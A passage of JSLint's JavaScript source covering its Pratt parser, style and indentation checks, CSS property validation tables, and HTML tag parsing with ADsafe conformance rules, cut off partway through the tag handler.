// We need a peek function. If it has an argument, it peeks that much farther
// ahead. It is used to distinguish
// for ( var i in ...
// from
// for ( var i = ...
function peek(p) {
var i = p || 0, j = 0, t;
while (j <= i) {
t = lookahead[j];
if (!t) {
t = lookahead[j] = lex.token();
}
j += 1;
}
return t;
}
// Produce the next token. It looks for programming errors.
function advance(id, t) {
var l;
switch (token.id) {
case '(number)':
if (nexttoken.id === '.') {
warning(
"A dot following a number can be confused with a decimal point.", token);
}
break;
case '-':
if (nexttoken.id === '-' || nexttoken.id === '--') {
warning("Confusing minusses.");
}
break;
case '+':
if (nexttoken.id === '+' || nexttoken.id === '++') {
warning("Confusing plusses.");
}
break;
}
if (token.type === '(string)' || token.identifier) {
anonname = token.value;
}
if (id && nexttoken.id !== id) {
if (t) {
if (nexttoken.id === '(end)') {
warning("Unmatched '{a}'.", t, t.id);
} else {
warning("Expected '{a}' to match '{b}' from line {c} and instead saw '{d}'.",
nexttoken, id, t.id, t.line + 1, nexttoken.value);
}
} else if (nexttoken.type !== '(identifier)' ||
nexttoken.value !== id) {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, id, nexttoken.value);
}
}
prevtoken = token;
token = nexttoken;
for (;;) {
nexttoken = lookahead.shift() || lex.token();
if (nexttoken.id === '(end)' || nexttoken.id === '(error)') {
return;
}
if (nexttoken.type === 'special') {
doOption();
} else {
if (nexttoken.id !== '(endline)') {
break;
}
l = !xmode && !option.laxbreak &&
(token.type === '(string)' || token.type === '(number)' ||
token.type === '(identifier)' || badbreak[token.id]);
}
}
if (!option.evil && nexttoken.value === 'eval') {
warning("eval is evil.", nexttoken);
}
if (l) {
switch (nexttoken.id) {
case '{':
case '}':
case ']':
case '.':
break;
case ')':
switch (token.id) {
case ')':
case '}':
case ']':
break;
default:
warning("Line breaking error '{a}'.", token, ')');
}
break;
default:
warning("Line breaking error '{a}'.",
token, token.value);
}
}
}
// This is the heart of JSLINT, the Pratt parser. In addition to parsing, it
// is looking for ad hoc lint patterns. We add to Pratt's model .fud, which is
// like nud except that it is only used on the first token of a statement.
// Having .fud makes it much easier to define JavaScript. I retained Pratt's
// nomenclature.
// .nud Null denotation
// .fud First null denotation
// .led Left denotation
// lbp Left binding power
// rbp Right binding power
// They are key to the parsing method called Top Down Operator Precedence.
function parse(rbp, initial) {
var left, o;
if (nexttoken.id === '(end)') {
error("Unexpected early end of program.", token);
}
advance();
if (option.safe && predefined[token.value] === true &&
(nexttoken.id !== '(' && nexttoken.id !== '.')) {
warning('ADsafe violation.', token);
}
if (initial) {
anonname = 'anonymous';
funct['(verb)'] = token.value;
}
if (initial === true && token.fud) {
left = token.fud();
} else {
if (token.nud) {
o = token.exps;
left = token.nud();
} else {
if (nexttoken.type === '(number)' && token.id === '.') {
warning(
"A leading decimal point can be confused with a dot: '.{a}'.",
token, nexttoken.value);
advance();
return token;
} else {
error("Expected an identifier and instead saw '{a}'.",
token, token.id);
}
}
while (rbp < nexttoken.lbp) {
o = nexttoken.exps;
advance();
if (token.led) {
left = token.led(left);
} else {
error("Expected an operator and instead saw '{a}'.",
token, token.id);
}
}
if (initial && !o) {
warning(
"Expected an assignment or function call and instead saw an expression.",
token);
}
}
return left;
}
// Functions for conformance of style.
function abut(left, right) {
left = left || token;
right = right || nexttoken;
if (left.line !== right.line || left.character !== right.from) {
warning("Unexpected space after '{a}'.", right, left.value);
}
}
function adjacent(left, right) {
left = left || token;
right = right || nexttoken;
if (option.white || xmode === 'styleproperty' || xmode === 'style') {
if (left.character !== right.from && left.line === right.line) {
warning("Unexpected space after '{a}'.", right, left.value);
}
}
}
function nospace(left, right) {
left = left || token;
right = right || nexttoken;
if (option.white && !left.comment) {
if (left.line === right.line) {
adjacent(left, right);
}
}
}
function nonadjacent(left, right) {
left = left || token;
right = right || nexttoken;
if (option.white) {
if (left.character === right.from) {
warning("Missing space after '{a}'.",
nexttoken, left.value);
}
}
}
function indentation(bias) {
var i;
if (option.white && nexttoken.id !== '(end)') {
i = indent + (bias || 0);
if (nexttoken.from !== i) {
warning("Expected '{a}' to have an indentation of {b} instead of {c}.",
nexttoken, nexttoken.value, i, nexttoken.from);
}
}
}
function nolinebreak(t) {
if (t.line !== nexttoken.line) {
warning("Line breaking error '{a}'.", t, t.id);
}
}
// Parasitic constructors for making the symbols that will be inherited by
// tokens.
function symbol(s, p) {
var x = syntax[s];
if (!x || typeof x !== 'object') {
syntax[s] = x = {
id: s,
lbp: p,
value: s
};
}
return x;
}
function delim(s) {
return symbol(s, 0);
}
function stmt(s, f) {
var x = delim(s);
x.identifier = x.reserved = true;
x.fud = f;
return x;
}
function blockstmt(s, f) {
var x = stmt(s, f);
x.block = true;
return x;
}
function reserveName(x) {
var c = x.id.charAt(0);
if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) {
x.identifier = x.reserved = true;
}
return x;
}
function prefix(s, f) {
var x = symbol(s, 150);
reserveName(x);
x.nud = (typeof f === 'function') ? f : function () {
if (option.plusplus && (this.id === '++' || this.id === '--')) {
warning("Unexpected use of '{a}'.", this, this.id);
}
this.right = parse(150);
this.arity = 'unary';
return this;
};
return x;
}
function type(s, f) {
var x = delim(s);
x.type = s;
x.nud = f;
return x;
}
function reserve(s, f) {
var x = type(s, f);
x.identifier = x.reserved = true;
return x;
}
function reservevar(s, v) {
return reserve(s, function () {
if (this.id === 'this') {
if (option.safe) {
warning("ADsafe violation.", this);
}
}
return this;
});
}
function infix(s, f, p) {
var x = symbol(s, p);
reserveName(x);
x.led = (typeof f === 'function') ? f : function (left) {
nonadjacent(prevtoken, token);
nonadjacent(token, nexttoken);
this.left = left;
this.right = parse(p);
return this;
};
return x;
}
function relation(s, f) {
var x = symbol(s, 100);
x.led = function (left) {
nonadjacent(prevtoken, token);
nonadjacent(token, nexttoken);
var right = parse(100);
if ((left && left.id === 'NaN') || (right && right.id === 'NaN')) {
warning("Use the isNaN function to compare with NaN.", this);
} else if (f) {
f.apply(this, [left, right]);
}
this.left = left;
this.right = right;
return this;
};
return x;
}
function isPoorRelation(node) {
return (node.type === '(number)' && !+node.value) ||
(node.type === '(string)' && !node.value) ||
node.type === 'true' ||
node.type === 'false' ||
node.type === 'undefined' ||
node.type === 'null';
}
function assignop(s, f) {
symbol(s, 20).exps = true;
return infix(s, function (left) {
var l;
this.left = left;
nonadjacent(prevtoken, token);
nonadjacent(token, nexttoken);
if (option.safe) {
l = left;
do {
if (predefined[l.value] === true) {
warning('ADsafe violation.', l);
}
l = l.left;
} while (l);
}
if (left) {
if (left.id === '.' || left.id === '[') {
if (left.left.value === 'arguments') {
warning('Bad assignment.', this);
}
this.right = parse(19);
return this;
} else if (left.identifier && !left.reserved) {
if (funct[left.value] === 'exception') {
warning("Do not assign to the exception parameter.", left);
}
this.right = parse(19);
return this;
}
if (left === syntax['function']) {
warning(
"Expected an identifier in an assignment and instead saw a function invocation.",
token);
}
}
error("Bad assignment.", this);
}, 20);
}
function bitwise(s, f, p) {
var x = symbol(s, p);
reserveName(x);
x.led = (typeof f === 'function') ? f : function (left) {
if (option.bitwise) {
warning("Unexpected use of '{a}'.", this, this.id);
}
nonadjacent(prevtoken, token);
nonadjacent(token, nexttoken);
this.left = left;
this.right = parse(p);
return this;
};
return x;
}
function bitwiseassignop(s) {
symbol(s, 20).exps = true;
return infix(s, function (left) {
if (option.bitwise) {
warning("Unexpected use of '{a}'.", this, this.id);
}
nonadjacent(prevtoken, token);
nonadjacent(token, nexttoken);
if (left) {
if (left.id === '.' || left.id === '[' ||
(left.identifier && !left.reserved)) {
parse(19);
return left;
}
if (left === syntax['function']) {
warning(
"Expected an identifier in an assignment, and instead saw a function invocation.",
token);
}
}
error("Bad assignment.", this);
}, 20);
}
function suffix(s, f) {
var x = symbol(s, 150);
x.led = function (left) {
if (option.plusplus) {
warning("Unexpected use of '{a}'.", this, this.id);
}
this.left = left;
return this;
};
return x;
}
function optionalidentifier() {
if (nexttoken.reserved && nexttoken.value !== 'arguments') {
warning("Expected an identifier and instead saw '{a}' (a reserved word).",
nexttoken, nexttoken.id);
}
if (nexttoken.identifier) {
advance();
return token.value;
}
}
function identifier() {
var i = optionalidentifier();
if (i) {
return i;
}
if (token.id === 'function' && nexttoken.id === '(') {
warning("Missing name in function statement.");
} else {
error("Expected an identifier and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
}
function reachable(s) {
var i = 0, t;
if (nexttoken.id !== ';' || noreach) {
return;
}
for (;;) {
t = peek(i);
if (t.reach) {
return;
}
if (t.id !== '(endline)') {
if (t.id === 'function') {
warning(
"Inner functions should be listed at the top of the outer function.", t);
break;
}
warning("Unreachable '{a}' after '{b}'.", t, t.value, s);
break;
}
i += 1;
}
}
function statement(noindent) {
var i = indent, r, s = scope, t = nexttoken;
// We don't like the empty statement.
if (t.id === ';') {
warning("Unnecessary semicolon.", t);
advance(';');
return;
}
// Is this a labelled statement?
if (t.identifier && !t.reserved && peek().id === ':') {
advance();
advance(':');
scope = Object.create(s);
addlabel(t.value, 'label');
if (!nexttoken.labelled) {
warning("Label '{a}' on {b} statement.",
nexttoken, t.value, nexttoken.value);
}
if (jx.test(t.value + ':')) {
warning("Label '{a}' looks like a javascript url.",
t, t.value);
}
nexttoken.label = t.value;
t = nexttoken;
}
// Parse the statement.
if (!noindent) {
indentation();
}
r = parse(0, true);
// Look for the final semicolon.
if (!t.block) {
if (nexttoken.id !== ';') {
warningAt("Missing semicolon.", token.line,
token.from + token.value.length);
} else {
adjacent(token, nexttoken);
advance(';');
nonadjacent(token, nexttoken);
}
}
// Restore the indentation.
indent = i;
scope = s;
return r;
}
function use_strict() {
if (nexttoken.type === '(string)' &&
/^use +strict(?:,.+)?$/.test(nexttoken.value)) {
advance();
advance(';');
return true;
} else {
return false;
}
}
function statements(begin) {
var a = [], f, p;
if (begin && !use_strict() && option.strict) {
warning('Missing "use strict" statement.', nexttoken);
}
if (option.adsafe) {
switch (begin) {
case 'script':
if (!adsafe_may) {
if (nexttoken.value !== 'ADSAFE' ||
peek(0).id !== '.' ||
(peek(1).value !== 'id' &&
peek(1).value !== 'go')) {
error('ADsafe violation: Missing ADSAFE.id or ADSAFE.go.',
nexttoken);
}
}
if (nexttoken.value === 'ADSAFE' &&
peek(0).id === '.' &&
peek(1).value === 'id') {
if (adsafe_may) {
error('ADsafe violation.', nexttoken);
}
advance('ADSAFE');
advance('.');
advance('id');
advance('(');
if (nexttoken.value !== adsafe_id) {
error('ADsafe violation: id does not match.', nexttoken);
}
advance('(string)');
advance(')');
advance(';');
adsafe_may = true;
}
break;
case 'lib':
if (nexttoken.value === 'ADSAFE') {
advance('ADSAFE');
advance('.');
advance('lib');
advance('(');
advance('(string)');
advance(',');
f = parse(0);
if (f.id !== 'function') {
error('The second argument to lib must be a function.', f);
}
p = f.funct['(params)'];
if (p && p !== 'lib') {
error("Expected '{a}' and instead saw '{b}'.",
f, 'lib', p);
}
advance(')');
advance(';');
return a;
} else {
error("ADsafe lib violation.");
}
}
}
while (!nexttoken.reach && nexttoken.id !== '(end)') {
if (nexttoken.id === ';') {
warning("Unnecessary semicolon.");
advance(';');
} else {
a.push(statement());
}
}
return a;
}
function block(f) {
var a, b = inblock, s = scope, t;
inblock = f;
if (f) {
scope = Object.create(scope);
}
nonadjacent(token, nexttoken);
t = nexttoken;
if (nexttoken.id === '{') {
advance('{');
if (nexttoken.id !== '}' || token.line !== nexttoken.line) {
indent += option.indent;
if (!f && nexttoken.from === indent + option.indent) {
indent += option.indent;
}
if (!f) {
use_strict();
}
a = statements();
indent -= option.indent;
indentation();
}
advance('}', t);
} else {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, '{', nexttoken.value);
noreach = true;
a = [statement()];
noreach = false;
}
funct['(verb)'] = null;
scope = s;
inblock = b;
return a;
}
// An identity function, used by string and number tokens.
function idValue() {
return this;
}
function countMember(m) {
if (membersOnly && membersOnly[m] !== true) {
warning("Unexpected /*member '{a}'.", nexttoken, m);
}
if (typeof member[m] === 'number') {
member[m] += 1;
} else {
member[m] = 1;
}
}
function note_implied(token) {
var name = token.value, line = token.line + 1, a = implied[name];
if (typeof a === 'function') {
a = false;
}
if (!a) {
a = [line];
implied[name] = a;
} else if (a[a.length - 1] !== line) {
a.push(line);
}
}
// CSS parsing.
function cssName() {
if (nexttoken.identifier) {
advance();
return true;
}
}
function cssNumber() {
if (nexttoken.id === '-') {
advance('-');
advance('(number)');
}
if (nexttoken.type === '(number)') {
advance();
return true;
}
}
function cssString() {
if (nexttoken.type === '(string)') {
advance();
return true;
}
}
function cssColor() {
var i, number;
if (nexttoken.identifier) {
if (nexttoken.value === 'rgb') {
advance();
advance('(');
for (i = 0; i < 3; i += 1) {
number = nexttoken.value;
if (nexttoken.type !== '(number)' || number < 0) {
warning("Expected a positive number and instead saw '{a}'",
nexttoken, number);
advance();
} else {
advance();
if (nexttoken.id === '%') {
advance('%');
if (number > 100) {
warning("Expected a percentage and instead saw '{a}'",
token, number);
}
} else {
if (number > 255) {
warning("Expected a small number and instead saw '{a}'",
token, number);
}
}
}
}
advance(')');
return true;
} else if (cssColorData[nexttoken.value] === true) {
advance();
return true;
}
} else if (nexttoken.type === '(color)') {
advance();
return true;
}
return false;
}
function cssLength() {
if (nexttoken.id === '-') {
advance('-');
adjacent();
}
if (nexttoken.type === '(number)') {
advance();
if (nexttoken.type !== '(string)' &&
cssLengthData[nexttoken.value] === true) {
adjacent();
advance();
} else if (+token.value !== 0) {
warning("Expected a linear unit and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
return true;
}
return false;
}
function cssLineHeight() {
if (nexttoken.id === '-') {
advance('-');
adjacent();
}
if (nexttoken.type === '(number)') {
advance();
if (nexttoken.type !== '(string)' &&
cssLengthData[nexttoken.value] === true) {
adjacent();
advance();
}
return true;
}
return false;
}
function cssWidth() {
if (nexttoken.identifier) {
switch (nexttoken.value) {
case 'thin':
case 'medium':
case 'thick':
advance();
return true;
}
} else {
return cssLength();
}
}
function cssMargin() {
if (nexttoken.identifier) {
if (nexttoken.value === 'auto') {
advance();
return true;
}
} else {
return cssLength();
}
}
function cssAttr() {
if (nexttoken.identifier && nexttoken.value === 'attr') {
advance();
advance('(');
if (!nexttoken.identifier) {
warning("Expected a name and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
advance();
advance(')');
return true;
}
return false;
}
function cssCommaList() {
while (nexttoken.id !== ';') {
if (!cssName() && !cssString()) {
warning("Expected a name and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
if (nexttoken.id !== ',') {
return true;
}
advance(',');
}
}
function cssCounter() {
if (nexttoken.identifier && nexttoken.value === 'counter') {
advance();
advance('(');
if (!nexttoken.identifier) {
}
advance();
if (nexttoken.id === ',') {
advance(',');
if (nexttoken.type !== '(string)') {
warning("Expected a string and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
advance();
}
advance(')');
return true;
}
if (nexttoken.identifier && nexttoken.value === 'counters') {
advance();
advance('(');
if (!nexttoken.identifier) {
warning("Expected a name and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
advance();
if (nexttoken.id === ',') {
advance(',');
if (nexttoken.type !== '(string)') {
warning("Expected a string and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
advance();
}
if (nexttoken.id === ',') {
advance(',');
if (nexttoken.type !== '(string)') {
warning("Expected a string and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
advance();
}
advance(')');
return true;
}
return false;
}
function cssShape() {
var i;
if (nexttoken.identifier && nexttoken.value === 'rect') {
advance();
advance('(');
for (i = 0; i < 4; i += 1) {
if (!cssLength()) {
warning("Expected a number and instead saw '{a}'.",
nexttoken, nexttoken.value);
break;
}
}
advance(')');
return true;
}
return false;
}
function cssUrl() {
var url;
if (nexttoken.identifier && nexttoken.value === 'url') {
nexttoken = lex.range('(', ')');
url = nexttoken.value;
advance();
if (option.safe && ux.test(url)) {
error("ADsafe URL violation.");
}
urls.push(url);
return true;
}
return false;
}
cssAny = [cssUrl, function () {
for (;;) {
if (nexttoken.identifier) {
switch (nexttoken.value.toLowerCase()) {
case 'url':
cssUrl();
break;
case 'expression':
warning("Unexpected expression '{a}'.",
nexttoken, nexttoken.value);
advance();
break;
default:
advance();
}
} else {
if (nexttoken.id === ';' || nexttoken.id === '!' ||
nexttoken.id === '(end)' || nexttoken.id === '}') {
return true;
}
advance();
}
}
}];
cssBorderStyle = [
'none', 'hidden', 'dotted', 'dashed', 'solid', 'double', 'ridge',
'inset', 'outset'
];
cssAttributeData = {
background: [
true, 'background-attachment', 'background-color',
'background-image', 'background-position', 'background-repeat'
],
'background-attachment': ['scroll', 'fixed'],
'background-color': ['transparent', cssColor],
'background-image': ['none', cssUrl],
'background-position': [
2, [cssLength, 'top', 'bottom', 'left', 'right', 'center']
],
'background-repeat': [
'repeat', 'repeat-x', 'repeat-y', 'no-repeat'
],
'border': [true, 'border-color', 'border-style', 'border-width'],
'border-bottom': [true, 'border-bottom-color', 'border-bottom-style', 'border-bottom-width'],
'border-bottom-color': cssColor,
'border-bottom-style': cssBorderStyle,
'border-bottom-width': cssWidth,
'border-collapse': ['collapse', 'separate'],
'border-color': ['transparent', 4, cssColor],
'border-left': [
true, 'border-left-color', 'border-left-style', 'border-left-width'
],
'border-left-color': cssColor,
'border-left-style': cssBorderStyle,
'border-left-width': cssWidth,
'border-right': [
true, 'border-right-color', 'border-right-style', 'border-right-width'
],
'border-right-color': cssColor,
'border-right-style': cssBorderStyle,
'border-right-width': cssWidth,
'border-spacing': [2, cssLength],
'border-style': [4, cssBorderStyle],
'border-top': [
true, 'border-top-color', 'border-top-style', 'border-top-width'
],
'border-top-color': cssColor,
'border-top-style': cssBorderStyle,
'border-top-width': cssWidth,
'border-width': [4, cssWidth],
bottom: [cssLength, 'auto'],
'caption-side' : ['bottom', 'left', 'right', 'top'],
clear: ['both', 'left', 'none', 'right'],
clip: [cssShape, 'auto'],
color: cssColor,
content: [
'open-quote', 'close-quote', 'no-open-quote', 'no-close-quote',
cssString, cssUrl, cssCounter, cssAttr
],
'counter-increment': [
cssName, 'none'
],
'counter-reset': [
cssName, 'none'
],
cursor: [
cssUrl, 'auto', 'crosshair', 'default', 'e-resize', 'help', 'move',
'n-resize', 'ne-resize', 'nw-resize', 'pointer', 's-resize',
'se-resize', 'sw-resize', 'w-resize', 'text', 'wait'
],
direction: ['ltr', 'rtl'],
display: [
'block', 'compact', 'inline', 'inline-block', 'inline-table',
'list-item', 'marker', 'none', 'run-in', 'table', 'table-caption',
'table-column', 'table-column-group', 'table-footer-group',
'table-header-group', 'table-row', 'table-row-group'
],
'empty-cells': ['show', 'hide'],
'float': ['left', 'none', 'right'],
font: [
'caption', 'icon', 'menu', 'message-box', 'small-caption', 'status-bar',
true, 'font-size', 'font-style', 'font-weight', 'font-family'
],
'font-family': cssCommaList,
'font-size': [
'xx-small', 'x-small', 'small', 'medium', 'large', 'x-large',
'xx-large', 'larger', 'smaller', cssLength
],
'font-size-adjust': ['none', cssNumber],
'font-stretch': [
'normal', 'wider', 'narrower', 'ultra-condensed',
'extra-condensed', 'condensed', 'semi-condensed',
'semi-expanded', 'expanded', 'extra-expanded'
],
'font-style': [
'normal', 'italic', 'oblique'
],
'font-variant': [
'normal', 'small-caps'
],
'font-weight': [
'normal', 'bold', 'bolder', 'lighter', cssNumber
],
height: [cssLength, 'auto'],
left: [cssLength, 'auto'],
'letter-spacing': ['normal', cssLength],
'line-height': ['normal', cssLineHeight],
'list-style': [
true, 'list-style-image', 'list-style-position', 'list-style-type'
],
'list-style-image': ['none', cssUrl],
'list-style-position': ['inside', 'outside'],
'list-style-type': [
'circle', 'disc', 'square', 'decimal', 'decimal-leading-zero',
'lower-roman', 'upper-roman', 'lower-greek', 'lower-alpha',
'lower-latin', 'upper-alpha', 'upper-latin', 'hebrew', 'katakana',
'hiragana-iroha', 'katakana-oroha', 'none'
],
margin: [4, cssMargin],
'margin-bottom': cssMargin,
'margin-left': cssMargin,
'margin-right': cssMargin,
'margin-top': cssMargin,
'marker-offset': [cssLength, 'auto'],
'max-height': [cssLength, 'none'],
'max-width': [cssLength, 'none'],
'min-height': cssLength,
'min-width': cssLength,
opacity: cssNumber,
outline: [true, 'outline-color', 'outline-style', 'outline-width'],
'outline-color': ['invert', cssColor],
'outline-style': [
'dashed', 'dotted', 'double', 'groove', 'inset', 'none',
'outset', 'ridge', 'solid'
],
'outline-width': cssWidth,
overflow: ['auto', 'hidden', 'scroll', 'visible'],
padding: [4, cssLength],
'padding-bottom': cssLength,
'padding-left': cssLength,
'padding-right': cssLength,
'padding-top': cssLength,
position: ['absolute', 'fixed', 'relative', 'static'],
quotes: [8, cssString],
right: [cssLength, 'auto'],
'table-layout': ['auto', 'fixed'],
'text-align': ['center', 'justify', 'left', 'right'],
'text-decoration': ['none', 'underline', 'overline', 'line-through', 'blink'],
'text-indent': cssLength,
'text-shadow': ['none', 4, [cssColor, cssLength]],
'text-transform': ['capitalize', 'uppercase', 'lowercase', 'none'],
top: [cssLength, 'auto'],
'unicode-bidi': ['normal', 'embed', 'bidi-override'],
'vertical-align': [
'baseline', 'bottom', 'sub', 'super', 'top', 'text-top', 'middle',
'text-bottom', cssLength
],
visibility: ['visible', 'hidden', 'collapse'],
'white-space': ['normal', 'pre', 'nowrap'],
width: [cssLength, 'auto'],
'word-spacing': ['normal', cssLength],
'z-index': ['auto', cssNumber]
};
function styleAttribute() {
var v;
while (nexttoken.id === '*' || nexttoken.id === '#' || nexttoken.value === '_') {
if (!option.css) {
warning("Unexpected '{a}'.", nexttoken, nexttoken.value);
}
advance();
}
if (nexttoken.id === '-') {
if (!option.css) {
warning("Unexpected '{a}'.", nexttoken, nexttoken.value);
}
advance('-');
if (!nexttoken.identifier) {
warning("Expected a non-standard style attribute and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
advance();
return cssAny;
} else {
if (!nexttoken.identifier) {
warning("Excepted a style attribute, and instead saw '{a}'.",
nexttoken, nexttoken.value);
} else {
if (cssAttributeData.hasOwnProperty(nexttoken.value)) {
v = cssAttributeData[nexttoken.value];
} else {
v = cssAny;
if (!option.css) {
warning("Unrecognized style attribute '{a}'.",
nexttoken, nexttoken.value);
}
}
}
advance();
return v;
}
}
function styleValue(v) {
var i = 0,
n,
once,
match,
round,
start = 0,
vi;
switch (typeof v) {
case 'function':
return v();
case 'string':
if (nexttoken.identifier && nexttoken.value === v) {
advance();
return true;
}
return false;
}
for (;;) {
if (i >= v.length) {
return false;
}
vi = v[i];
i += 1;
if (vi === true) {
break;
} else if (typeof vi === 'number') {
n = vi;
vi = v[i];
i += 1;
} else {
n = 1;
}
match = false;
while (n > 0) {
if (styleValue(vi)) {
match = true;
n -= 1;
} else {
break;
}
}
if (match) {
return true;
}
}
start = i;
once = [];
for (;;) {
round = false;
for (i = start; i < v.length; i += 1) {
if (!once[i]) {
if (styleValue(cssAttributeData[v[i]])) {
match = true;
round = true;
once[i] = true;
break;
}
}
}
if (!round) {
return match;
}
}
}
function substyle() {
var v;
for (;;) {
if (nexttoken.id === '}' || nexttoken.id === '(end)' ||
xquote && nexttoken.id === xquote) {
return;
}
while (nexttoken.id === ';') {
warning("Misplaced ';'.");
advance(';');
}
v = styleAttribute();
advance(':');
if (nexttoken.identifier && nexttoken.value === 'inherit') {
advance();
} else {
styleValue(v);
}
while (nexttoken.id !== ';' && nexttoken.id !== '!' &&
nexttoken.id !== '}' && nexttoken.id !== '(end)' &&
nexttoken.id !== xquote) {
warning("Unexpected token '{a}'.", nexttoken, nexttoken.value);
advance();
}
if (nexttoken.id === '!') {
advance('!');
adjacent();
if (nexttoken.identifier && nexttoken.value === 'important') {
advance();
} else {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, 'important', nexttoken.value);
}
}
if (nexttoken.id === '}' || nexttoken.id === xquote) {
warning("Missing '{a}'.", nexttoken, ';');
} else {
advance(';');
}
}
}
function stylePattern() {
var name;
if (nexttoken.id === '{') {
warning("Expected a style pattern, and instead saw '{a}'.", nexttoken,
nexttoken.id);
} else if (nexttoken.id === '@') {
advance('@');
name = nexttoken.value;
if (nexttoken.identifier && atrule[name] === true) {
advance();
return name;
}
warning("Expected an at-rule, and instead saw @{a}.", nexttoken, name);
}
for (;;) {
if (nexttoken.identifier) {
if (!htmltag.hasOwnProperty(nexttoken.value)) {
warning("Expected a tagName, and instead saw {a}.",
nexttoken, nexttoken.value);
}
advance();
} else {
switch (nexttoken.id) {
case '>':
case '+':
advance();
if (!nexttoken.identifier ||
!htmltag.hasOwnProperty(nexttoken.value)) {
warning("Expected a tagName, and instead saw {a}.",
nexttoken, nexttoken.value);
}
advance();
break;
case ':':
advance(':');
if (pseudorule[nexttoken.value] !== true) {
warning("Expected a pseudo, and instead saw :{a}.",
nexttoken, nexttoken.value);
}
advance();
if (nexttoken.value === 'lang') {
advance('(');
if (!nexttoken.identifier) {
warning("Expected a lang code, and instead saw :{a}.",
nexttoken, nexttoken.value);
}
advance(')');
}
break;
case '#':
advance('#');
if (!nexttoken.identifier) {
warning("Expected an id, and instead saw #{a}.",
nexttoken, nexttoken.value);
}
advance();
break;
case '*':
advance('*');
break;
case '.':
advance('.');
if (!nexttoken.identifier) {
warning("Expected a class, and instead saw #.{a}.",
nexttoken, nexttoken.value);
}
advance();
break;
case '[':
advance('[');
if (!nexttoken.identifier) {
warning("Expected an attribute, and instead saw [{a}].",
nexttoken, nexttoken.value);
}
advance();
if (nexttoken.id === '=' || nexttoken.id === '~=' ||
nexttoken.id === '|=') {
advance();
if (nexttoken.type !== '(string)') {
warning("Expected a string, and instead saw {a}.",
nexttoken, nexttoken.value);
}
advance();
}
advance(']');
break;
default:
error("Expected a CSS selector, and instead saw {a}.",
nexttoken, nexttoken.value);
}
}
if (nexttoken.id === '</' || nexttoken.id === '{' ||
nexttoken.id === '(end)') {
return '';
}
if (nexttoken.id === ',') {
advance(',');
}
}
}
function styles() {
while (nexttoken.id !== '</' && nexttoken.id !== '(end)') {
stylePattern();
xmode = 'styleproperty';
if (nexttoken.id === ';') {
advance(';');
} else {
advance('{');
substyle();
xmode = 'style';
advance('}');
}
}
}
// HTML parsing.
function doBegin(n) {
if (n !== 'html' && !option.fragment) {
if (n === 'div' && option.adsafe) {
error("ADSAFE: Use the fragment option.");
} else {
error("Expected '{a}' and instead saw '{b}'.",
token, 'html', n);
}
}
if (option.adsafe) {
if (n === 'html') {
error("Currently, ADsafe does not operate on whole HTML documents. It operates on <div> fragments and .js files.", token);
}
if (option.fragment) {
if (n !== 'div') {
error("ADsafe violation: Wrap the widget in a div.", token);
}
} else {
error("Use the fragment option.", token);
}
}
option.browser = true;
assume();
}
function doAttribute(n, a, v) {
var u, x;
if (a === 'id') {
u = typeof v === 'string' ? v.toUpperCase() : '';
if (ids[u] === true) {
warning("Duplicate id='{a}'.", nexttoken, v);
}
if (option.adsafe) {
if (adsafe_id) {
if (v.slice(0, adsafe_id.length) !== adsafe_id) {
warning("ADsafe violation: An id must have a '{a}' prefix",
nexttoken, adsafe_id);
} else if (!/^[A-Z]+_[A-Z]+$/.test(v)) {
warning("ADSAFE violation: bad id.");
}
} else {
adsafe_id = v;
if (!/^[A-Z]+_$/.test(v)) {
warning("ADSAFE violation: bad id.");
}
}
}
x = v.search(dx);
if (x >= 0) {
warning("Unexpected character '{a}' in {b}.", token, v.charAt(x), a);
}
ids[u] = true;
} else if (a === 'class' || a === 'type' || a === 'name') {
x = v.search(qx);
if (x >= 0) {
warning("Unexpected character '{a}' in {b}.", token, v.charAt(x), a);
}
ids[u] = true;
} else if (a === 'href' || a === 'background' ||
a === 'content' || a === 'data' ||
a.indexOf('src') >= 0 || a.indexOf('url') >= 0) {
if (option.safe && ux.test(v)) {
error("ADsafe URL violation.");
}
urls.push(v);
} else if (a === 'for') {
if (option.adsafe) {
if (adsafe_id) {
if (v.slice(0, adsafe_id.length) !== adsafe_id) {
warning("ADsafe violation: An id must have a '{a}' prefix",
nexttoken, adsafe_id);
} else if (!/^[A-Z]+_[A-Z]+$/.test(v)) {
warning("ADSAFE violation: bad id.");
}
} else {
warning("ADSAFE violation: bad id.");
}
}
} else if (a === 'name') {
if (option.adsafe && v.indexOf('_') >= 0) {
warning("ADsafe name violation.");
}
}
}
function doTag(n, a) {
var i, t = htmltag[n], x;
src = false;
if (!t) {
error("Unrecognized tag '<{a}>'.",
nexttoken,
n === n.toLowerCase() ? n :
n + ' (capitalization error)');
}
if (stack.length > 0) {
if (n === 'html') {
error("Too many <html> tags.", token);
}
x = t.parent;
if (x) {
if (x.indexOf(' ' + stack[stack.length - 1].name + ' ') < 0) {
error("A '<{a}>' must be within '<{b}>'.",
token, n, x);
}
} else if (!option.adsafe && !option.fragment) {
i = stack.length;
do {
if (i <= 0) {
error("A '<{a}>' must be within '<{b}>'.",
token, n, 'body');
}
i -= 1;
} while (stack[i].name !== 'body');
}
}
switch (n) {
case 'div':
if (option.adsafe && stack.length === 1 && !adsafe_id) {
warning("ADSAFE violation: missing ID_.");
}
break;
case 'script':
xmode = 'script';
advance('>');
indent = nexttoken.from;
if (a.lang) {
warning("lang is deprecated.", token);
}
if (option.adsafe && stack.length !== 1) {
warning("ADsafe script placement violation.", token);
}
if (a.src) {
if (option.adsafe && (!adsafe_may || !approved[a.src])) {
warning("ADsafe unapproved script source.", token);
}
if (a.type) {
warning("type is unnecessary.", token);
}
} else {
if (adsafe_went) {
error("ADsafe script violation.", token);
}
statements('script');
}
xmode = 'html';
advance('</');
if (!nexttoken.identifier && nexttoken.value !== 'script') {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, 'script', nexttoken.value);
}
advance();
xmode = 'outer';
break;
case 'style':
xmode = 'style';
advance('>');
styles();
xmode = 'html';
advance('</');
